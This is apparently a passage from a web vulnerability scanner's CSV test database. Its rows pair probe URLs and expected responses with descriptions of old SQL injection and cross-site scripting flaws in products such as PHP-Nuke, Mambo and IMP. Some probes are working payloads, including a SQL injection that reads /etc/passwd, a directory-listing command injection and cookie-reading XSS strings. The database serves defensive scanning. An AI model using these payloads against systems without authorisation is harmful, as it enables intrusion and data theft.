"000685","0","9","@CGIDIRSclassifieds/index.cgi","GET","200","","","","","My Classifieds pre 2.12 is vulnerable to SQL Injection attacks.","","" "000686","0","9","/imp/mailbox.php3?actionID=6&server=x&imapuser=x';somesql+--&pass=x","GET","parse error","","","","","IMP 2.x allows SQL injection, and reveals system information.","","" "000687","0","9","/userinfo.php?uid=1;","GET","Query","","","","","Xoops portal gives detailed error messages including SQL syntax and may allow an exploit.","","" "000688","0","9","/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username=USER --/.html","GET","root:","","","","","IBM Informix Web DataBlade allows remote execute of SQL","","" "000689","0","9","/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html","GET","root:","","","","","Web DataBlade 4.12/Informix is vulnerable to SQL Injection.","","" "000690","0","9","/postnuke/index.php?module=My_eGallery","GET","200","","","","","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection.","","" "000691","0","9","/postnuke/html/index.php?module=My_eGallery","GET","200","","","","","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection.","","" "000692","0","8","@CGIDIRSalibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,","GET","boot.ini","","","","","This CGI allows attackers to execute arbitrary commands on the server.","","" "000693","0","9","/phpwebsite/index.php?module=calendar&calendar[view]=day&year=2003%00-1&month=","GET","DB Error: syntax error","","","","","phpWebSite 0.9.x and below are vulnerable to SQL injection.","","" "000694","0","9","/phpBB2/search.php?search_id=1\",","GET","SQL Error","","","","","phpBB 2.06 search.php is vulnerable to SQL injection attack. Error page also includes full path to search.php file.","","" "000695","0","9","/index.php?module=My_eGallery","GET","200","","","","","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection.","","" "000696","0","9","/author.asp","GET","200","","","","","May be FactoSystem CMS, which could include SQL injection problems which could not be tested remotely.","","" "000697","0","4","/horde/test.php","GET","IMP: 3.(0|1|2|2\.1)","","","","","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2.","","" "000698","0","4","/imp/horde/test.php","GET","IMP: 3.(0|1|2|2\.1)","","","","","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2.","","" "000699","0","4","@CGIDIRShorde/test.php","GET","IMP: 3.(0|1|2|2\.1)","","","","","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2.","","" "000700","0","4","/examples/cookie","GET","Cookie servlet","","","","","JEUS default servlet examples are vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. http://securitytracker.com/alerts/2003/Jun/1007004.html","","" "000701","0","4","/examples/session","GET","Session servlet","","","","","JEUS default servlet examples are vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. http://securitytracker.com/alerts/2003/Jun/1007004.html","","" "000702","0","4","/themes/mambosimple.php?detection=detected&sitename=","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000703","0","4","/index.php?option=search&searchword=","GET","","","","","","Mambo Site Server 4.0 build 10 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000704","0","4","/emailfriend/emailnews.php?id=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000705","0","4","/emailfriend/emailfaq.php?id=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000706","0","4","/emailfriend/emailarticle.php?id=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000707","0","4","/administrator/upload.php?newbanner=1&choice=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000708","0","4","/administrator/popups/sectionswindow.php?type=web&link=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000709","0","4","/administrator/gallery/view.php?path=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000710","0","4","/administrator/gallery/uploadimage.php?directory=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000711","0","4","/administrator/gallery/navigation.php?directory=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000712","0","4","/administrator/gallery/gallery.php?directory=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000713","0","4","/index.php?dir=","GET","","","","","","Auto Directory Index 1.2.3 and prior are vulnerable to XSS attacks.","","" "000714","0","4","/https-admserv/bin/index?/","GET","","","","","","Sun ONE Web Server 6.1 administration control is vulnerable to XSS attacks.","","" "000715","0","4","/clusterframe.jsp?cluster=","GET","","","","","","Macromedia JRun 4.x JMC Interface, clusterframe.jsp file is vulnerable to a XSS attack.","","" "000716","0","4","/article.cfm?id=1'","GET","[SQL SERVER] Error Code","","","","","Coldfusion may reveal SQL information in malformed requests.","","" "000717","0","4","/upload.php?type=\"","GET","","","","","","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000718","4619","4","/soinfo.php?\">","GET","","","","","","The PHP script soinfo.php is vulnerable to Cross Site Scripting Set expose_php = Off in php.ini.","","" "000719","0","4","/modules.php?op=modload&name=News&file=index&catid=&topic=>;","GET","","","","","","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02.","","" "000720","0","4","/modules.php?op=modload&name=News&file=article&sid=","GET","","","","","","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02.","","" "000721","0","4","/modules.php?op=modload&name=News&file=article&sid=","","","","","Documentum Webtop (Tomcat 4.1) is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000723","0","4","/addyoursite.php?catid=<Script>JavaScript:alert('Vulnerable');</Script>","GET","","","","","","phpLinkat is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000724","0","4","/666%0a%0a666.jsp","GET","","","","","","Apache Tomcat 4.1 / Linux is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000725","0","4","/servlet/MsgPage?action=test&msg=","GET","","","","","","NetDetector 3.0 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000726","0","4","/servlet/org.apache.catalina.ContainerServlet/","GET","","","","","","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02.","","" "000727","0","4","/servlet/org.apache.catalina.Context/","GET","","","","","","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02.","","" "000728","0","4","/servlet/org.apache.catalina.Globals/","GET","","","","","","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02.","","" "000729","0","4","/servlet/org.apache.catalina.servlets.WebdavStatus/","GET","","","","","","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02.","","" "000730","0","4","/servlets/MsgPage?action=badlogin&msg=","GET","","","","","","The NetDetector install is vulnerable to Cross Site Scripting (XSS) in it's invalid login message. CA-2000-02.","","" "000731","0","4","/.shtm","GET",".shtml","","","","","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000732","0","4","/.stm","GET",".shtml","","","","","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000733","0","4","/admin/sh_taskframes.asp?Title=Configuraci%C3%B3n%20de%20registro%20Web&URL=MasterSettings/Web_LogSettings.asp?tab1=TabsWebServer%26tab2=TabsWebLogSettings%26__SAPageKey=5742D5874845934A134CD05F39C63240&ReturnURL=\">","GET","","","","","","IIS 6 on Windows 2003 is vulnerable to Cross Site Scripting (XSS) in certain error messages. CA-2000-02.","","" "000734","17665","4","/SiteServer/Knowledge/Default.asp?ctr=\">","GET","","","","","","Site Server is vulnerable to Cross Site Scripting","","" "000735","17666","4","/_mem_bin/formslogin.asp?\">","GET","","","","","","Site Server is vulnerable to Cross Site Scripting","","" "000736","0","4","/nosuchurl/>","GET","","","","","","JEUS is vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. http://securitytracker.com/alerts/2003/Jun/1007004.html","","" "000737","0","4","/test.php?%3CSCRIPT%3Ealert('Vulnerable')%3C%2FSCRIPT%3E=x","GET","","","","","","OmniHTTPD's test.php is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000738","0","4","/test.shtml?%3CSCRIPT%3Ealert('Vulnerable')%3C%2FSCRIPT%3E=x","GET","","","","","","OmniHTTPD's test.shtml is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000739","0","4","@CGIDIRSredir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3C%2FSCRIPT%3E","GET","","","","","","OmniHTTPD's redir.exe is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000740","0","4","/search/results.stm?query=<script>alert('vulnerable');</script>","GET","","","","","","Default Sambar file is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000741","0","4","/webcalendar/week.php?eventinfo=","GET","","","","","","Webcalendar 0.9.42 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000742","0","4","@CGIDIRSYaBB/YaBB.cgi?board=BOARD&action=display&num=","GET","","","","","","YaBB 1 Gold SP1 and earlier are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000743","0","4","@CGIDIRSvq/demos/respond.pl?","GET","","","","","","vqServer default CGI files are vulnerable to Cross Site Scripting (XSS), remove all default CGI files. CA-2000-02.","","" "000744","0","4","@CGIDIRSviewcvs.cgi/viewcvs/viewcvs/?sortby=rev\">;","GET","","","","","","ViewCVS v0.9.2 from viewcvs.sourceforge.net and below are vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02.","","" "000745","0","4","@CGIDIRSviewcvs.cgi/viewcvs/?cvsroot=","GET","","","","","","ViewCVS v0.9.2 from viewcvs.sourceforge.net and below are vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02.","","" "000746","0","4","@CGIDIRSurlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27Vulnerable%27%29%22%3E","GET","","","","","","urlcount.cgi on the Lil'HTTP server may be vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000747","0","4","@CGIDIRStest-cgi.exe?","GET","","","","","","Default CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000748","0","4","@CGIDIRSstart.cgi/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","GET","","","","","","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000749","0","4","@CGIDIRSsearch.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&;Rank=","GET","","","","","","Fluid Dynamics FD Search engine from http://www.xav.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Upgrade to FDSE version 2.0.0.0055","","" "000750","0","4","@CGIDIRSsearch.php?searchstring=","GET","","","","","","Gallery 1.3.4 and below is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. BID-8288.","","" "000751","0","4","@CGIDIRSpbcgi.cgi?name=Joe%Camel&email=%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3B%3C%2FSCRIPT%3E","GET","","","","","","Lil'HTTP Server (Summit Computer Networks) CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000752","0","4","@CGIDIRSmyguestbook.cgi?action=view","GET","200","","","","","myGuestBook 1.0 may be vulnerable to Cross Site Scripting (XSS) in posted contents. Upgrade to the latest version from http://www.levcgi.com/. CA-2000-02.","","" "000753","0","4","@CGIDIRSlogin.pl?course_id=\"><SCRIPT>alert('Vulnerable')</SCRIPT>","GET","","","","","","BlackBoard 5 from BlackBoard.com is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000754","7590","4","@CGIDIRShtsearch.cgi?words=%22%3E%3Cscript%3Ealert%'Vulnerable'%29%3B%3C%2Fscript%3E","GET","","","","","","htdig is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000755","0","4","@CGIDIRSFormMail.cgi?","GET","","","","","","FormMail.cgi allows Cross Site Scripting (XSS). CA-2000-02.","","" "000756","0","4","@CGIDIRSfom/fom.cgi?cmd=&file=1&keywords=vulnerable","GET","","","","","","Faq-O-Matic is vulnerable to cross site scripting (XSS) CA-2000-02. Check for updates here http://faqomatic.sourceforge.net/fom-serve/cache/1.html","","" "000757","0","4","@CGIDIRSfom.cgi?file=","GET","","","","","","Faq-O-Matic is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest from http://sourceforge.net/projects/faqomatic. CA-2000-02.","","" "000758","0","4","@CGIDIRSerba/start/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","GET","","","","","","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000759","0","4","@CGIDIRSdiagnose.cgi","GET","200","","","","","This COWS (CGI Online Worldweb Shopping) script may give system information to attackers, and may be vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000760","0","4","@CGIDIRSdansguardian.pl?DENIEDURL=","GET","","","","","","CensorNet Proxy Service is vulnerable to Cross Site Scripting (XSS) in error pages. CA-2000-02.","","" "000761","0","4","@CGIDIRScgicso?query=","GET","","","","","","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000762","0","4","@CGIDIRSbetsie/parserl.pl/;","GET","","","","","","BBC Education Text to Speech Internet Enhancer from http://www.bbc.co.uk/education/betsie/ allows Cross Site Scripting (XSS). CA-2000-02.","","" "000763","0","4","@CGIDIRSauction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=English&Search=All&Terms=&Where=&Sort=Photo&Dir=","GET","","","","","","Mewsoft Auction 3.0 from http://www.mewsoft.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000764","0","4","@CGIDIRSathcgi.exe?command=showpage&script='],[0,0]];alert('Vulnerable');a=[['","GET","","","","","","Authoria HR Suite is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000765","0","4","@CGIDIRS.cobalt/alert/service.cgi?service=","GET","","","","","","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000766","0","4","@CGIDIRS.cobalt/alert/service.cgi?service=","GET","img src=javascript:alert('Vulnerable')","","","","","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000767","0","4","/~/.aspx?aspxerrorpath=null","GET","","","","","","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02","","" "000768","0","4","/~/.aspx","GET","","","","","","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02","","" "000769","0","4","/~/.asp","GET","","","","","","Cross site scripting (XSS) is allowed with .asp file requests (may be Microsoft .net). CA-2000-02","","" "000770","0","4","/z_user_show.php?method=showuserlink&class=&rollid=admin&x=3da59a9da8825&","GET","","","","","","orum 2.4 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000771","0","4","/catinfo?TESTING","GET","TESTING","","","","","The Interscan Viruswall catinfo script is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000772","0","4","/webchat/register.php?register=yes&username=OverG&email=&email1=","GET","alert(\"Vulnerable\")","","","","","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000773","0","4","/webamil/test.php","GET","IMP: 3.(0|1|2|2\.1)","","","","","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2.","","" "000774","0","4","/users.php?mode=profile&uid=<script>alert(document.cookie)</script>","GET","","","","","","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02.","","" "000775","0","4","/usercp.php?function=avataroptions:javascript:alert(%27Vulnerable%27)","GET","","","","","","IcrediBB Bulletin Board System is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000776","0","4","/user.php?op=userinfo&uname=","GET","","","","","","The PhpNuke installation is vulnerable to Cross Site Scripting (XSS). Update to versions above 5.3.1. CA-2000-02.","","" "000777","0","4","/user.php?op=confirmnewuser&module=NS-NewUser&uname=%22%3E%3Cimg%20src=%22javascript:alert(document.cookie);%22%3E&email=test@test.com","GET","javascript:alert(document.cookie)","","","","","Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000778","0","4","/user.php?op=confirmnewuser&module=NS-NewUser&uname=%22%3E%3Cimg%20src=%22javascript:alert(document.cookie);%22%3E&email=test@test.com","GET","","","","","","PHP TopSites allows Cross Site Scripting (XSS). CA-2000-02.","","" "000780","0","4","/templates/form_header.php?noticemsg=","GET","","GET","</script>","GET","","","","","","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000783","0","4","/supporter/index.php?t=tickettime&id=<script></script>","GET","","","","","","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000784","0","4","/supporter/index.php?t=ticketfiles&id=<script></script>","GET","","","","","","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000785","0","4","/sunshop.index.php?action=storenew&username=","GET","","","","","","SunShop is vulnerable to Cross Site Scripting (XSS) in the signup page. CA-200-02.","","" "000786","0","4","/submit.php?subject=&story=&storyext=&op=Preview","GET","","","","","","This install of PHPNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000787","0","4","/ss000007.pl?PRODREF=","GET","","","","","","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000788","0","4","/showcat.php?catid=<Script>JavaScript:alert('Vulnerable');</Script>","GET","","","","","","phpLinkat is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000789","0","4","/shop/normal_html.cgi?file=<script>alert(\"Vulnerable\")</script>","GET","","","","","","Happymail E-Commerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000790","0","4","/setup.exe?&page=list_users&user=P","GET","","","","","","CiscoSecure ACS v3.0(1) Build 40 allows Cross Site Scripting (XSS). CA-2000-02.","","" "000791","0","4","/servlet/custMsg?guestName=","POST","","","","","","Bajie HTTP JServer is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000792","0","4","/servlet/CookieExample?cookiename=","POST","","","","","","Bajie HTTP JServer is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000793","0","4","/servlet/ContentServer?pagename=","GET","","","","","","Open Market Inc.ÊContentServer is vulnerable to Cross Site Scripting (XSS) in the login-error page. CA-2000-02.","","" "000794","0","4","/search/index.cfm?","GET","","","","","","Search agent allows Cross Site Scripting (XSS). CA-2000-02.","","" "000795","0","4","/search/?SectionIDOverride=1&SearchText=","GET","","","","","","ezPublish 2.27 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000796","0","4","/search.php?zoom_query=","GET","","","","","","Wrensoft Zoom Search Engine is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000797","0","4","/search.php?searchstring=","GET","","","","","","Gallery 1.3.4 and below is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. BID-8288.","","" "000798","0","4","/search.php?searchfor=\">","GET","alert('Vulnerable')","","","","","Siteframe 2.2.4 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000799","0","4","/search.asp?term=<%00script>alert('Vulnerable')","GET","alert('Vulnerable')","","","","","ASP.Net 1.1 may allow Cross Site Scripting (XSS) in error pages (only some browsers will render this). CA-2000-02.","","" "000800","0","4","/script>alert('Vulnerable').cfm","GET","","","","","","Macromedia's ColdFusion MX server is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Patch or upgrade to a newer version, or change the default 404 document. http://www.macromedia.com/v1/handlers/index.cfm?ID=23047","","" "000801","0","4","/samples/search.dll?query=","GET","","","","","","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","&logic=AND","" "000802","0","4","/replymsg.php?send=1&destin=","GET","","","","","","This version of PHP-Nuke's replymsg.php is vulnerable to Cross Site Scripting (XSs). CA-2000-02.","","" "000803","0","4","/profiles.php?uid=<script>alert(document.cookie)</script>","GET","","","","","","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02.","","" "000804","0","4","/postnuke/modules.php?op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=666&ttitle=Mocosoft Utilities\"%3","GET","","","","","","Postnuke Phoenix 0.7.2.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000805","0","4","/postnuke/html/modules.php?op=modload&name=News&file=article&sid=","GET","","","","","","PostNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000806","0","4","/pm_buddy_list.asp?name=A&desc=B%22%3E%3Ca%20s=%22&code=1","GET","","","","","","Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000807","0","4","/pms.php?action=send&recipient=DESTINATAIRE&subject=happy&posticon=javascript:alert('Vulnerable')&mode=0&message=Hello","GET","","","","","","WoltLab Burning Board is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000808","0","4","/pm.php?function=sendpm&to=VICTIM&subject=SUBJECT&images=javascript:alert('Vulnerable')&message=MESSAGE&submitpm=Submit","GET","","","","","","IcrediBB Bulletin Board System is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000809","0","4","/phpwebsite/index.php?module=search&SEA_search_op=continue&PDA_limit=10\">","GET","","","","","","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000810","0","4","/phpwebsite/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10\">&MMN_position=[X:X]","GET","","","","","","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000811","0","4","/phpwebsite/index.php?module=fatcat&fatcat[user]=viewCategory&fatcat_id=1%00+\">","GET","","","","","","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000812","0","4","/phpwebsite/index.php?module=calendar&calendar[view]=day&month=2&year=2003&day=1+%00\">","GET","","","","","","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000813","0","4","/phpwebchat/register.php?register=yes&username=OverG&email=&email1=","GET","alert(\"Vulnerable\")","","","","","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000814","0","4","/phptonuke.php?filnavn=","GET","","","","","","PHPNuke add-on PHPToNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000815","0","4","/phprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(Vulnerable)%3C/script%3E","GET","","","","","","phpRank is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000816","32774","4","/phpinfo.php?VARIABLE=","GET","","","","","","Contains PHP configuration information and is vulnerable to Cross Site Scripting (XSS).","","" "000817","32774","4","/phpinfo.php3?VARIABLE=","GET","","","","","","Contains PHP configuration information and is vulnerable to Cross Site Scripting (XSS).","","" "000818","0","4","/phpimageview.php?pic=javascript:alert('Vulnerable')","GET","alert('Vulnerable')","","","","","PHP Image View 1.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."," ","" "000819","0","4","/phpclassifieds/latestwap.php?url=","GET","","","","","","PHP Classifieds 6.05 from http://www.deltascripts.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000820","0","4","/phpBB/viewtopic.php?topic_id=","GET","","","","","","phpBB is vulnerable to Cross Site Scripting (XSS), upgrade to the latest version. CA-2000-02.","","" "000821","0","4","/phpBB/viewtopic.php?t=17071&highlight=\">\"","GET","","","","","","phpBB is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000822","0","4","/phorum/admin/header.php?GLOBALS[message]=","GET","","","","","","Phorum 3.3.2a and below from phorum.org is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000823","0","4","/phorum/admin/footer.php?GLOBALS[message]=","GET","","","","","","Phorum 3.3.2a and below from phorum.org is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000824","0","4","/pforum/edituser.php?boardid=&agree=1&username=%3Cscript%3Ealert('Vulnerable')%3C/script%3E&nickname=test&email=test@example.com&pwd=test&pwd2=test&filled=1","GET","","","","","","Pforum 1.14 is vulnerable to Cross Site Scripting (XSS). CA-2000-02","","" "000825","0","4","/pages/htmlos/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","GET","","","","","","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000826","0","4","/Page/1,10966,,00.html?var=","GET","","","","","","Vignette server is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Upgrade to the latest version.","","" "000827","0","4","/openautoclassifieds/friendmail.php?listing=","GET","200","","","","","OpenAutoClassifieds 1.0 is vulnerable to a XSS attack","","" "000828","0","4","/openautoclassifieds/friendmail.php?listing=<script>alert(document.domain);</script>","GET","","","","","","OpenAutoClassifieds 1.x is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000829","0","4","/node/view/666\">","GET","","","","","","Drupal 4.2.0 RC is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000830","0","4","/netutils/whodata.stm?sitename=","GET","","","","","","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000831","0","4","/nav/cList.php?root=","GET","","","","","","OpenBB 1.0.0 RC3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000837","0","4","/msadm/user/login.php3?account_name=\">","GET","","","","","","The Sendmail Server Site User login is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000838","0","4","/msadm/site/index.php3?authid=\">","GET","","","","","","The Sendmail Server Site Administrator Login is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000839","0","4","/msadm/domain/index.php3?account_name=\">","GET","","","","","","The Sendmail Server Site Domain Administrator login is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000840","0","4","/modules/Submit/index.php?op=pre&title=","GET","","GET","","","","","","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000842","0","4","/modules/Forums/bb_smilies.php?name=","GET","","","","","","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000843","0","4","/modules/Forums/bb_smilies.php?Default_Theme=","GET","","","","","","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000844","0","4","/modules/Forums/bb_smilies.php?bgcolor1=\">","GET","","","","","","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000845","0","4","/modules.php?op=modload&name=Xforum&file=member&action=viewpro&member=","GET","","","","","","The XForum (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000846","0","4","/modules.php?op=modload&name=Xforum&file=&fid=2","GET","","","","","","The XForum (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000847","0","4","/modules.php?op=modload&name=Wiki&file=index&pagename=","GET","","","","","","Wiki PostNuke Module is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000848","0","4","/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=","GET","","","","","","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000849","0","4","/modules.php?op=modload&name=WebChat&file=index&roomid=","GET","","","","","","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000850","0","4","/modules.php?op=modload&name=Members_List&file=index&letter=","GET","","","","","","This install of PHPNuke's modules.php is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000851","0","4","/modules.php?op=modload&name=Guestbook&file=index&entry=","GET","","","","","","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000852","0","4","/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(document.cookie);%3E&parent_id=0","GET","javascript:alert(document.cookie)","","","","","Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000853","0","4","/modules.php?op=modload&name=DMOZGateway&file=index&topic=","GET","","","","","","The DMOZGateway (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000854","0","4","/modules.php?op=modload&name=books&file=index&req=search&query=|script|alert(document.cookie)|/script|","GET","","GET","","","","","","Francisco Burzi PHP-Nuke 5.6, 6.0, 6.5 RC1/RC2/RC3, 6.5 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000856","0","4","/modules.php?name=Your_Account&op=userinfo&uname=","GET","","","","","","The PHPNuke forum is 